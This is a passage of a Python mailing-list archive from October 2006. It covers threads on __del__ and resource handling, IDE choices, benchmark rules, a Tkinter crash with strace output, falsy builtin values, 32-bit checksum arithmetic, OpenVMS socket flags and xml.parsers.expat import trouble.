your program may cause trouble even under a reference-counting implementation of Python. for example, class Foo: def __del__(self): print "deled!" def foo(): f = Foo() i = open("file.txt") return i.readline() try: foo() except IOError: pass print "done!" prints done! deled! > In c++, this is a central technique used for all sorts of tasks, > whereas in garbage collected languages it's usually not available. Python is not C++. if you want to do controlled resource management, you need to use "try/finally" or "with". > Is there a reason not to rely on this in Python? For example, are > there alternative Python implementations that behave differently? Or > some other subtle problems? http://www.effbot.org/pyfaq/how-does-python-manage-memory.htm http://www.effbot.org/pyfaq/my-class-defines-del-but-it-is-not-called-when-i-delete-the-object.htm From hg at nospam.com Fri Oct 13 15:26:45 2006 From: hg at nospam.com (hg) Date: Fri, 13 Oct 2006 14:26:45 -0500 Subject: wing ide vs. komodo? In-Reply-To: References: <2nRXg.108$1n3.2866@news.tufts.edu> Message-ID: Theerasak Photha wrote: > On 10/13/06, John Salerno wrote: > >> Komodo, on the other hand, seems to have more of the features that the >> personal version of Wing IDE lacks (call tips, class browser, etc.) but >> the look of it seems very sparse for some reason. > > But that's really a good thing. > > -- Theerasak I'm really interested: my *small* company is ready to spend the ~300$ in the process, but Komodo looks _very_ sparse. How do you go about it? ... I have resources to look at it for one or two days. hg From peter.maas at somewhere.com Sat Oct 7 06:59:58 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Sat, 07 Oct 2006 12:59:58 +0200 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: <1160213112.144420.90400@m7g2000cwm.googlegroups.com> References: <1160168050.069336.61710@i3g2000cwc.googlegroups.com> <1160200171.328938.158800@i42g2000cwa.googlegroups.com> <1160213112.144420.90400@m7g2000cwm.googlegroups.com> Message-ID: bearophileHUGS at lycos.com wrote: >> You might also put the outer loop calling function advance so many >> times, into the advance function: > > Remember that the autors of the Shootout refuse some changes to the > code (like this one), to allow a fair comparison. The rules are strict. I'm only aware of the rule that the language has to be used "as-is", e.g. you must not encapsulate time-critical parts in a C extension and announce the result as "fast Python". To put the outer loop inside a function is a degree of freedom which is available in every language so should be allowed in a shoot-out. The global arrays in the Perl program are on the same track. -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From PengYu.UT at gmail.com Sat Oct 21 18:17:47 2006 From: PengYu.UT at gmail.com (PengYu.UT at gmail.com) Date: 21 Oct 2006 15:17:47 -0700 Subject: print dos format file into unix format Message-ID: <1161469067.180921.35200@i3g2000cwc.googlegroups.com> Suppose I have a dos format text file. The following python code will print ^M at the end. I'm wondering how to print it in unix format. fh = open(options.filename) for line in fh.readlines() print line, Thanks, Peng From quentel.pierre at wanadoo.fr Thu Oct 12 15:25:21 2006 From: quentel.pierre at wanadoo.fr (Pierre Quentel) Date: 12 Oct 2006 12:25:21 -0700 Subject: paseline(my favorite simple script): does something similar exist? In-Reply-To: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> Message-ID: <1160681121.378474.21920@i42g2000cwa.googlegroups.com> Hi Rick, Nice little script indeed ! You probably mean > trans = xlat.get(f,None) instead of > trans = xlat.get(f,'None') in the case where an invalid format character is supplied. The string 'None' evaluates to True, so that trans(words[i]) raises an exception A variant, with a list comprehension instead of the for loop : def parseline(line,format): xlat = {'x':None,'s':str,'f':float,'d':int,'i':int} result = [] words = line.split() result = [ xlat[f](w) for f,w in zip(format,words) if xlat.get(f,None) ] if not result: return None if len(result) == 1: return result[0] return result Regards, Pierre From mail at microcorp.co.za Wed Oct 4 08:12:40 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Wed, 4 Oct 2006 14:12:40 +0200 Subject: Python/Tkinter crash. References: <025f01c6e78f$f2d62d60$03000080@hendrik> Message-ID: <033e01c6e7ae$8724cee0$03000080@hendrik> Not talking to myself - Added results of strace run at bottom.... "Hendrik van Rooyen" wrote: > Hi, > > I get the following: > > hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py > UpdateStringProc should not be invoked for type font > Aborted > > and I am back at the bash prompt - this is most frustrating, as there is no > friendly traceback to help me guess where its coming from. > > And what is worse, the script runs for a varying time before it simply exits > like this. > > What can I do to dig deeper to try to find a clue? - I don't even know if its > Python, Tkinter or Linux... > > Some background: > > The application is a prototype gui for a controller of an injection moulding > machine. > It has two rows of five buttons across the top, and a canvas containing various > objects over the rest of the screen. > Extensive use is made of configure to change the text of the buttons, as well as > their command bindings, > to keep "the state of the system" current - its quite a hack at this time, as I > am still experimenting with getting the interface intuitive. > On the canvas, there are multiple instances of a Meter class to show things like > temperatures and pressures, > as well as a schematic representation of the machine, created out of polygons > and lines. > The schematic, as well as the Meters, are crudely animated by deleting and > redrawing the objects repetitively with slightly different parameters in > response to button presses. This is done by starting different threads to > implement the various motions, which repetitively call kill and draw methods in > the main app, after which they (the threads) commit seppoku by returning. > > Everything seems to work fine. - there is a thread that runs to move the meter > values around continuously, and this has been stable for some time now, and I > can get the various "machine" parts to move around the screen by pushing the > buttons. > The trouble occurs when I put the "machine" into Auto mode, simulating the > various motions in a loop, - it runs for anything from a few tens to a few > hundreds of cycles before handing in its dinner pail like this. > > Any Ideas on what to do next to find the culprit? > > - Hendrik Ran it with strace - here is last bit of log: write(3, "<\30\2\0\35\0\300\2<\0\2\0\34\0\300\0027\0\7\0\34\0\300"..., 68) = 68 select(4, [3], [], [], {0, 0}) = 0 (Timeout) gettimeofday({1159960306, 369206}, {4294967176, 0}) = 0 futex(0x807b908, FUTEX_WAKE, 1) = 0 futex(0x80bad48, FUTEX_WAKE, 1) = 0 write(3, "5\30\4\0N\0\300\2 \0\300\2r\2\220\0F\0\5\0N\0\300\2\23"..., 900) = 900 gettimeofday({1159960306, 371171}, {4294967176, 0}) = 0 select(4, [3], [], [], {0, 0}) = 0 (Timeout) gettimeofday({1159960306, 371386}, {4294967176, 0}) = 0 futex(0x807b908, FUTEX_WAKE, 1) = 0 select(0, NULL, NULL, NULL, {0, 20000}) = 0 (Timeout) futex(0x80bad48, FUTEX_WAIT, 0, NULL) = 0 futex(0x80bad48, FUTEX_WAKE, 1) = 0 write(3, "<\30\2\0\34\0\300\2<\0\2\0\35\0\300\0027\0\7\0\35\0\300"..., 68) = 68 select(4, [3], [], [], {0, 0}) = 0 (Timeout) gettimeofday({1159960306, 396232}, {4294967176, 0}) = 0 futex(0x807b908, FUTEX_WAKE, 1) = 0 futex(0x80bad48, FUTEX_WAKE, 1) = 0 write(3, "5\30\4\0N\0\300\2 \0\300\2r\2\220\0F\0\5\0N\0\300\2\23"..., 900) = 900 gettimeofday({1159960306, 398381}, {4294967176, 0}) = 0 select(4, [3], [], [], {0, 0}) = 0 (Timeout) gettimeofday({1159960306, 398597}, {4294967176, 0}) = 0 futex(0x807b908, FUTEX_WAKE, 1) = 0 select(0, NULL, NULL, NULL, {0, 20000}) = 0 (Timeout) futex(0x80bad48, FUTEX_WAIT, 0, NULL) = 0 futex(0x80bad48, FUTEX_WAKE, 1) = 0 futex(0x807b908, FUTEX_WAIT, 0, NULL) = 0 write(3, "7\30\5\0\21\0\300\2:\0\300\2\4\0\0\0\377\0\0\0", 20) = 20 select(4, [3], [], [], {0, 0}) = 0 (Timeout) gettimeofday({1159960306, 420182}, {4294967176, 0}) = 0 futex(0x807b908, FUTEX_WAKE, 1) = 0 futex(0x80bad48, FUTEX_WAIT, 0, NULL) = 0 futex(0x80bad48, FUTEX_WAKE, 1) = 0 write(3, "5\30\4\0N\0\300\0029\0\300\2\207\0\210\0F\0\5\0N\0\300"..., 708) = 708 gettimeofday({1159960306, 421944}, {4294967176, 0}) = 0 select(4, [3], [], [], {0, 0}) = 0 (Timeout) gettimeofday({1159960306, 422168}, {4294967176, 0}) = 0 futex(0x807b908, FUTEX_WAKE, 1) = 0 select(0, NULL, NULL, NULL, {0, 20000}) = ? ERESTARTNOHAND (To be restarted) +++ killed by SIGABRT +++ From MonkeeSage at gmail.com Sat Oct 7 20:25:15 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 7 Oct 2006 17:25:15 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <452846fe.0@entanet> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> Message-ID: <1160267115.309599.26160@e3g2000cwe.googlegroups.com> On Oct 7, 7:14 pm, Duncan Smith wrote: > No. The above constructs a list of keys and searches the list for the > key, O(n). "key in somedict" is a lookup, O(1). My point wasn't in regard to implementation details, but in regard to convenience methods. Obviously the sugary dict methods are tweaked for the best performance (one would hope!), as would be sugary sequence methods were they to be added. What I was wondering is why dict.has_key() and get() are there but not list.has_index() and get(). Regards, Jordan From gagsl-py at yahoo.com.ar Wed Oct 25 22:00:40 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 25 Oct 2006 23:00:40 -0300 Subject: question about True values In-Reply-To: References: <17727.47016.632530.720950@montanaro.dyndns.org> Message-ID: <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> At Wednesday 25/10/2006 22:29, Terry Reedy wrote: > >> the string class's "nil" value. Each of the builtin types has such an > >> "empty" or "nil" value: > >> > >> string "" > >> list [] > >> tuple () > >> dict {} > >> int 0 > >> float 0.0 > >> complex 0j > >> set set() > >> > >> Any other value besides the above will compare as "not false". > >> > > > > And today's question for the novices is: which Python type did Skip miss > > from the above list? > >more that one: > >0L >decimal.Decimal(0) # is decimal.Decimal('0'), also >u'' >array.array('c') # or any other typecode, I suspect, without initializer Just for fun: buffer('') frozenset() iter(()) xrange(0) -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From peter.maas at utilog.de Sun Oct 8 17:49:05 2006 From: peter.maas at utilog.de (Peter Maas) Date: Sun, 08 Oct 2006 23:49:05 +0200 Subject: New-style classes slower than old-style classes? (Was: n-body problem at shootout.alioth.debian.org) In-Reply-To: References: <61JVg.138429$_J1.903927@twister2.libero.it> <4528633c$0$3249$afc38c87@news.optusnet.com.au> Message-ID: Peter Maas schrieb: > 10000 runs of nbody.py, time in sec Correction: 10000 iterations of advance(). -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From skip at pobox.com Tue Oct 24 10:08:48 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 24 Oct 2006 09:08:48 -0500 Subject: Getting a lot of SPAM from this list In-Reply-To: References: <17725.8236.397367.923534@montanaro.dyndns.org> Message-ID: <17726.7792.807568.497224@montanaro.dyndns.org> >> Get a better spam filter? Colin> Any suggestions for Firefox? You can try SpamBayes (http://www.spambayes.org/). It has both POP3 and IMAP filters that sit between your mail client and mail server. You control and train them via a local web interface. Skip From msherman77 at yahoo.com Tue Oct 31 20:56:31 2006 From: msherman77 at yahoo.com (Michael S) Date: Tue, 31 Oct 2006 20:56:31 -0500 (EST) Subject: report progress from C function In-Reply-To: <1162336313.895048.202440@k70g2000cwa.googlegroups.com> Message-ID: <20061101015631.33414.qmail@web88313.mail.re4.yahoo.com> > BTW, why did you rewrite in C rarher than using > Pyrex? I was not aware of pyrex. I didn't really mind doing some C, it made me remember the syntax. Thanks a lot. I did think that I could pack a function address as a parameter. --- John Machin wrote: > Michael S wrote: > > Good day all. > > > > I rewrote part of my program in C, it's a usually > a > > long task. I wanted to be able to report the > progress > > back to my python program. In my module (in > addition > > to the function that performs the above-mentioned > > task) there is a function that returns the > variable, > > indicating the progress. However I am not sure how > to > > call it. Once I call the C function that does the > work > > (it's a while loop that takes minutes sometimes) I > > can't call that progress function. > > Any ideas? > > > > What do you expect your "python program" to be doing > between calls to > the get_progress function? > > Here's a sketch of one possible way of doing > something useful: add the > following 2 args to your C "does the work function": > (1) Python function object to be called every n > times around the while > loop or every nth other event or every n > milliseconds or whatever > (2) n > > BTW, why did you rewrite in C rarher than using > Pyrex? > > Cheers, > John > > -- > http://mail.python.org/mailman/listinfo/python-list > From raNOsky at deveSPAMler.com Sun Oct 1 13:40:35 2006 From: raNOsky at deveSPAMler.com (Giovanni Bajo) Date: Sun, 1 Oct 2006 19:40:35 +0200 Subject: Is this a bug? Python intermittently stops dead for seconds References: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Message-ID: Steve Holden wrote: > I think you'll find that most programs that eat through memory in this > way will exhibit pretty much the same behaviour. If you *know* your > program isn't creating data cycles, just turn the GC off and rely on > reference counting. That won't save you from paging when you > eventually exhaust physical memory. Nothing can. Even better, if you know that you're *creating* tons of objects without creating many *discardable* cycles at the same, it's better to turn off GC collection during loading, and only do a single pass (gc.collect()) when you are done with the allocations. -- Giovanni Bajo From steve at holdenweb.com Tue Oct 10 05:56:19 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Oct 2006 10:56:19 +0100 Subject: Python component model In-Reply-To: <4p14h4Fgk9jaU1@uni-berlin.de> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: > Paul Rubin schrieb: > >>"Nick Vatamaniuc" writes: >> >>>Python does not _need_ a component model just as you don't _need_ a RAD >>>IDE tool to write Python code. The reason for having a component model >>>or a RAD IDE tool is to avoid writing a lot of boiler plate code. >> >>It's also so that applications written in differing languages can call >>each other. > > > Nope. Things like CORBA and COM do have that property, but e.g. the Java > beans spec has only a meaning inside the VM. Not sure about .NET, but I > can imagine there it's the same thing. > Well the .NET component model is specifically designed to be cross-language, but that's a feature of .NET/mono rather than of the componenet framework. You are correct about Beans, though. > All the languages he mentioned are statically typed, or the component > models themselves are. So the component model is basically needed (as > others also mentioned) to glue things together, to dynamize that - > whereas python is dynamic on the first hand, and actually lacks static > typing to infer component properties... > Just the same, one can use IronPython to call components written in other languages. And, I believe, vice versa. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From bignose+hates-spam at benfinney.id.au Wed Oct 25 22:25:35 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 12:25:35 +1000 Subject: question about True values References: <17727.47016.632530.720950@montanaro.dyndns.org> Message-ID: <87u01rke3k.fsf@benfinney.id.au> Steve Holden writes: > skip at pobox.com wrote: > > Each of the builtin types has such an "empty" or "nil" value: > > > > string "" > > list [] > > tuple () > > dict {} > > int 0 > > float 0.0 > > complex 0j > > set set() > > > > Any other value besides the above will compare as "not false". > > And today's question for the novices is: which Python type did Skip > miss from the above list? Is it cheating if I read this page: -- \ "I always wanted to be somebody. I see now that I should have | `\ been more specific." -- Lily Tomlin | _o__) | Ben Finney From istvan.albert at gmail.com Wed Oct 4 11:31:47 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 4 Oct 2006 08:31:47 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45225A1C.8060106@v.loewis.de> Message-ID: <1159975907.085831.44790@k70g2000cwa.googlegroups.com> Giovanni Bajo wrote: > I understand your point. OTOH, exactly because the tracker system is a far > lesser importance, it's amazing there is *ever* a need to evaluate non-FLOSS > solutions, when there are so many good free solutions around. Instead of I think you are missing the point. Switching to a different tracker is not such a big deal. Having a really good tracker is a big deal. Trackers are all about usability. Alas most open source projects suck at that while excel in implementation and performance. FWIW I'd rather have the PSF even pay for good quality tracker since that benefits everyone rather than funding some obscure project that only 1% of the programmers will use/heard of. Istvan From noway at sorry.com Tue Oct 3 04:19:10 2006 From: noway at sorry.com (Giovanni Bajo) Date: Tue, 03 Oct 2006 08:19:10 GMT Subject: Python to use a non open source bug tracker? Message-ID: <22pUg.132825$zy5.1820633@twister1.libero.it> Hello, I just read this mail by Brett Cannon: http://mail.python.org/pipermail/python-dev/2006-October/069139.html where the "PSF infrastracture committee", after weeks of evaluation, recommends using a non open source tracker (called JIRA - never heard before of course) for Python itself. Does this smell "Bitkeeper fiasco" to anyone else than me? -- Giovanni Bajo From sturlamolden at yahoo.no Wed Oct 25 13:22:10 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 25 Oct 2006 10:22:10 -0700 Subject: unsigned 32 bit arithmetic type? In-Reply-To: References: <453F4A52.3050200@v.loewis.de> Message-ID: <1161796929.965348.4950@e3g2000cwe.googlegroups.com> Robin Becker wrote: > > > ULONG CalcTableChecksum(ULONG *Table, ULONG Length) > > { > > ULONG Sum = 0L; > > ULONG *Endptr = Table+((Length+3) & ~3) / sizeof(ULONG); > > > > while (Table < EndPtr) > > Sum += *Table++; > > return Sum; > > } Is this what you want? import numpy def CalcTableChecksum(Table, Length=None): tmp = numpy.array(Table,dtype=numpy.uint32) if Length == None: Length = tmp.size endptr = ((Length+3) & ~3) / 4 return (tmp[0:endptr]).sum() as nx type(nx.array([1,2,3],dtype=nx.uint32)[0]) > so effectively we're doing only additions and letting bits roll off the end. > > Of course the actual semantics is dependent on what C unsigned arithmetic does > so we're relying on that being the same everywhere. > > This algorithm was pretty simple in Python until 2.3 when shifts over the end of > ints started going wrong. For some reason we didn't do the obvious and just do > everything in longs and just mask off the upper bits. For some reason (probably > my fault) we seem to have accumulated code like > > def _L2U32(L): > '''convert a long to u32''' > return unpack('l',pack('L',L))[0] > > > if sys.hexversion>=0x02030000: > def add32(x, y): > "Calculate (x + y) modulo 2**32" > return _L2U32((long(x)+y) & 0xffffffffL) > else: > def add32(x, y): > "Calculate (x + y) modulo 2**32" > lo = (x & 0xFFFF) + (y & 0xFFFF) > hi = (x >> 16) + (y >> 16) + (lo >> 16) > return (hi << 16) | (lo & 0xFFFF) > > def calcChecksum(data): > """Calculates TTF-style checksums""" > if len(data)&3: data = data + (4-(len(data)&3))*"\0" > sum = 0 > for n in unpack(">%dl" % (len(data)>>2), data): > sum = add32(sum,n) > return sum > > and also silly stuff like > > def testAdd32(self): > "Test add32" > self.assertEquals(add32(10, -6), 4) > self.assertEquals(add32(6, -10), -4) > self.assertEquals(add32(_L2U32(0x80000000L), -1), 0x7FFFFFFF) > self.assertEquals(add32(0x7FFFFFFF, 1), _L2U32(0x80000000L)) > > def testChecksum(self): > "Test calcChecksum function" > self.assertEquals(calcChecksum(""), 0) > self.assertEquals(calcChecksum("\1"), 0x01000000) > self.assertEquals(calcChecksum("\x01\x02\x03\x04\x10\x20\x30\x40"), 0x11223344) > self.assertEquals(calcChecksum("\x81"), _L2U32(0x81000000L)) > _L2U32(0x80000000L)) > > where while it might be reasonable to do testing it seems the tests aren't very > sensible eg what is -6 doing in a u32 test? This stuff just about works on a 32 > bit machine, but is failing miserably on a 64bit AMD. As far as I can see I just > need to use masked longs throughout. > > In a C extension I can still do the computation exfficiently on a 32bit machine, > but I need to do masking for a 64 bit machine. > -- > Robin Becker From ilias at lazaridis.com Thu Oct 12 00:36:16 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 11 Oct 2006 21:36:16 -0700 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com> <1160622943.197384.91340@m7g2000cwm.googlegroups.com> Message-ID: <1160627775.972642.14190@e3g2000cwe.googlegroups.com> Robert Kern wrote: > Ilias Lazaridis wrote: > > Robert Kern wrote: > > >> No, he's just a troll that enjoys telling everyone what to do. Don't try to get > >> him to contribute anything useful; it won't work. > > > > Mr. Kern! Seeing you working on such a seemingly excellent product, I > > am really wondering about your tenor. > > I am confident that it is accurately aimed. Furthermore, I am confident that the > record and the rest of this community will back me up on it. I've told you > before that this community will not tolerate your bad behavior. How many times > does this have to be demonstrated before you will leave? Please stay in-topic " can you please inform me (and the interested readers) about the persistency mechanism within traits: http://groups.google.com/group/comp.lang.python/msg/8e89ed163b978fe2 " From ptmcg at austin.rr._bogus_.com Sat Oct 21 14:38:32 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sat, 21 Oct 2006 18:38:32 GMT Subject: A Comparison Of Dynamic and Static Languiges References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com> Message-ID: wrote in message news:1161455284.563900.320430 at m7g2000cwm.googlegroups.com... > I'm doing a report on the speed of develipment and executionin varius > programing langiuiges. write code for all these tasks in the languige > of your choise if intrestied send code to atbusbook at aol.com. > > Task 1: > write a program that prints how many times you repeat all words in a > file passed as a comand line > paramiter and from STDIN. with the output format being "\"%s\" word > repeated %i times\n" > Task 2: > write a comand line rpn calculator that has a syntax like forth with > only floats; also it must have these and > only these operations +, -, *, /, ., .s, rot, dup, swap, pick, roll. > . and .s are pop print and .s print stack in this > with a new line after each item and the top of the stack at the > bottom. > > compiler info > > c#: mono 1.1.13.7 > perl: perl 5.8.8 > python: python 2.4.2 > ruby: ruby 1.8.4 > yer dreemin sorry not intrestied due yer onn homework From stanc at al.com.au Wed Oct 25 05:59:47 2006 From: stanc at al.com.au (Astan Chee) Date: Wed, 25 Oct 2006 19:59:47 +1000 Subject: web-based SSH Message-ID: <453F3593.5010203@al.com.au> Hi, I was looking for a web-based SSH client (something like www.port42.com..but for some reason it doesnt work..can anyone verify this)..does anyone know any other alternative to other websites that offer this? If you're gonna scream 'security!security!' well, its for testing purposes and the box im ssh-ing into is "expandable" and "disposeable" Cheers From jf.pieronne at laposte.net Sun Oct 22 13:57:54 2006 From: jf.pieronne at laposte.net (=?ISO-8859-15?Q?Jean-Fran=E7ois_Pi=E9ronne?=) Date: Sun, 22 Oct 2006 19:57:54 +0200 Subject: Socket module bug on OpenVMS In-Reply-To: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> Message-ID: <453BB122.1020100@laposte.net> > Hi, > > Recently I was bitten by an apparent bug in the BSD socket layer > on Open VMS. Specifically, it appears that VMS defines MSG_WAITALL > in socket.h but does not implement it (it is not in the documentation). > And I use the socket.MSG_WAITALL flag on my recv() calls... and > then they crash on OpenVMS. > Which Python version, OpenVMS version, IP stack and stack version? If you think this is a Python on OpenVMS problem, send me a small reproduced anf I will take a look. If you think it's a OpenVMS problem and if you can provide a simple reproducer and have a support contract I suggest you call HP, but I suspect that if it's not documented the reply would be not (yet?) supported. > I don't have access to an OpenVMS machine myself so could someone > else that has (or has more knowledge of it) shed some light on it? > > It appear that the only place, in the Python source code, where MSG_WAITALL is used is in socketmodule.c: #ifdef MSG_WAITALL PyModule_AddIntConstant(m, "MSG_WAITALL", MSG_WAITALL); #endif May be a workaround is to not use MSG_WAITALL (currently) on OpenVMS and in next version I will not defined MSG_WAITALL in the socket module on OpenVMS. If you need an access to an OpenVMS let me know. > > This also raises the question to what extent Python itself should > work around platform specific "peculiarities", such as this one. > There's another problem with socket code on Windows and VMS systems, > where you get strange exceptions when using a "too big" recv() buffer. > Old Python version on OpenVMS have bugs in the socket module which have been fixed in newer version. Be sure to check using the latest kit. > Things like this force me into writing all sorts of error checking > code or platform specific functions, to work around these bugs. > Just for what was supposed to be a simple socket recv() and a > simple socket send()... > > In my opinion Python's socket module itself could implement these > workarounds. That would make user code a lot cleaner and less > error prone, and more portable. What do other people think? > > > Regards > --Irmen de Jong Jean-Francois Pieronne From dwelch91 at gmail.com Tue Oct 3 18:05:26 2006 From: dwelch91 at gmail.com (dwelch91 at gmail.com) Date: 3 Oct 2006 15:05:26 -0700 Subject: Strange xml.parsers.expat import problem [corrected subject] In-Reply-To: <1158346239.298004.205780@e3g2000cwe.googlegroups.com> References: <1158346154.021445.143500@m73g2000cwd.googlegroups.com> <1158346239.298004.205780@e3g2000cwe.googlegroups.com> Message-ID: <1159913126.407753.317700@m73g2000cwd.googlegroups.com> I was able to fix (i.e., work around) this issue by using the import: import xml.parsers.expat as expat and then referring to: expat.ExpatError I have no idea why this makes it work, seems like a bug in Python to me. -Don dwelch91 at gmail.com wrote: > Sorry, that should have been "xml.parsers.expat" > > dwelch91 at gmail.com wrote: > > Hi, c.l.p.'ers- > > > > I am having a problem with the import of xml.parsers.expat that has > > gotten me completely stumped. I have two programs, one a PyQt program > > and one a command line (text) program that both eventually call the > > same code that imports xml.parsers.expat. Both give me different > > results... > > > > The code that gets called is (print statements have been added for > > debugging): > > > > # this is status.py > > import xml.parsers.expat > > print xml > > print xml.parsers > > print dir(xml.parsers) > > print repr(xml.parsers.expat.ExpatError) > > print xml.parsers.expat > > > > if info_device_status: > > try: > > device_status = > > utils.XMLToDictParser().parseXML(info_device_status) > > log.debug_block("info_device_status", info_device_status) > > log.debug(device_status) > > except xml.parsers.expat.ExpatError: > > log.error("Device Status XML parse error") > > device_status = {} > > > > if info_ssp: > > try: > > ssp = utils.XMLToDictParser().parseXML(info_ssp) > > log.debug_block("info_spp", info_ssp) > > log.debug(ssp) > > except xml.parsers.expat.ExpatError: > > log.error("SSP XML parse error") > > ssp = {} > > > > When I run this code from my console program, it prints out: > > > > > '/usr/lib/python2.4/site-packages/_xmlplus/__init__.pyc'> > > > '/usr/lib/python2.4/site-packages/_xmlplus/parsers/__init__.pyc'> > > ['__all__', '__builtins__', '__doc__', '__file__', '__name__', > > '__path__', 'expat', 'pyexpat'] > > > > > '/usr/lib/python2.4/site-packages/_xmlplus/parsers/expat.pyc'> > > > > and all is well... > > > > However, from the PyQt program I get: > > > > > '/usr/lib/python2.4/site-packages/_xmlplus/__init__.pyc'> > > > '/usr/lib/python2.4/site-packages/_xmlplus/parsers/__init__.pyc'> > > ['__all__', '__builtins__', '__doc__', '__file__', '__name__', > > '__path__', 'sgmlop'] > > Traceback (most recent call last): > > > > [...snip...] > > > > File > > "/home/dwelch/tip/linux-imaging-and-printing/src/base/status.py", line > > 980, in StatusType6 > > print repr(xml.parsers.expat.ExpatError) > > AttributeError: 'module' object has no attribute 'expat' > > > > Somehow, the import has brought in "_xmlplus" rather than "xml", and > > "expat" is no longer in the xml.parsers module. This is on the same > > machine with the same user account, running each program "back to > > back". Running each program as a different user made no difference. > > > > Everything is also OK if I manually enter the import and print commands > > into a Python >>> prompt. > > > > Any help much appreciated! > > > > -Don From steve at holdenweb.com Sat Oct 14 08:55:09 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 14 Oct 2006 13:55:09 +0100 Subject: Python component model In-Reply-To: References: <1160696330.090125.212900@h48g2000cwc.googlegroups.com> <4p9ooaFhds1pU1@individual.net> <1160810219.869916.324790@b28g2000cwb.googlegroups.com> Message-ID: Edward Diener No Spam wrote: > Kay Schluehr wrote: > >>val bykoski wrote: >> >>>Peter Wang wrote: >>> >>>>Edward, >>>> >>>>This isn't in response to any specific one of the 100+ posts on this >>>>thread, but I justed wanted to encourage you to continue your >>>>investigation into Python component models and maybe looking for some >>>>common ground between them. Frequently the individual developers are >>>>too heads-down on working on their own things to do a broad survey, so >>>>I think this would be very useful indeed. >>>> >>>>I wouldn't have felt it necessary to post this except for the large >>>>number of posts along the lines of "foo.dict is introspective enough >>>>for me!". I think you might have an easier time evangelizing the >>>>principle of component-oriented programming (or "event-based", or >>>>"reactive", or whatever) if you separated it from the notions of RAD UI >>>>development. There is a very large difference between writing >>>>components and writing objects, and it seems that most people arguing >>>>"python doesn't need components" don't see this distinction. >>>> >>>>For me, it's the difference between writing "live" objects and "dead" >>>>objects. Live objects not only encapsulate implementations of an >>>>interface with some state, but they also encapsulate handling of >>>>events, i.e. responses to changes in their environment. Dead objects >>>>have methods but there has to be a function somewhere that knows which >>>>dead object to call with what parameters at exactly the right time. >>>>(The only mechanism for managing this complexity is to create ever more >>>>functions at ever higher levels of abstraction, or to have a >>>>proliferation of nebulously-defined "manager" objects.) IMHO once you >>>>cross this chasm and are able to model your problem domain with live >>>>objects that go off and automatically respond to the runtime >>>>environment and Do the Right Thing, it's very hard to go back to a dead >>>>object mindset. I can understand, however, that until one makes this >>>>leap, it might seem like an academic and useless distinction. >>>> >>>>-peter >>>> >>> >>>Excellent post, Peter. Thanks for great clarification. Looking from a >>>physicist' perspective, im always trying to compare/evaluate languages >>>from "the physical reality/dynamics" angle. So, the run-time >>>space/dynamics is the only one that matches the natural "always-runtime" >>>objects - atoms, molecules, EM fields, biological cells(?). It is the >>>*reactive* world with event/forces-driven dynamics. Seemingly, there is >>>nothing beyond that, including biology. >> >>A more conventional notion is that of static/dynamic properties of a >>language. Component models that guarantee certain properties at compile >>time are easily checked for consistency but to many programmers ( I >>guess most of the programmers who attend to this list ) they are >>inflexible: you might change or adapt your components according to >>events, switch between entities, enable dynamic configuration etc. This >>can be achieved in C++, Java etc. as well but not without pain. > > > Having "static" properties and events is necessary for visual RAD > programming environments, where connections are being setup between > events and event handlers, and properties are being initialized, at > design time. This does not preclude the normal "dynamic" attributes of > Python. However if Python programmers reject such visual RAD programming > environments as having any value, then they probably won't be interested > in a common component model for them. Such a model would definitely have value (particularly if all tool builders subscribed to it: that was how Beans achieved ubiquity). But there is no such model at the moment. A project to create one might receive support or it might not. There's one way to find out ... regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From michele.simionato at gmail.com Mon Oct 2 12:09:11 2006 From: michele.simionato at gmail.com (Michele Simionato) Date: 2 Oct 2006 09:09:11 -0700 Subject: postgresql database In-Reply-To: 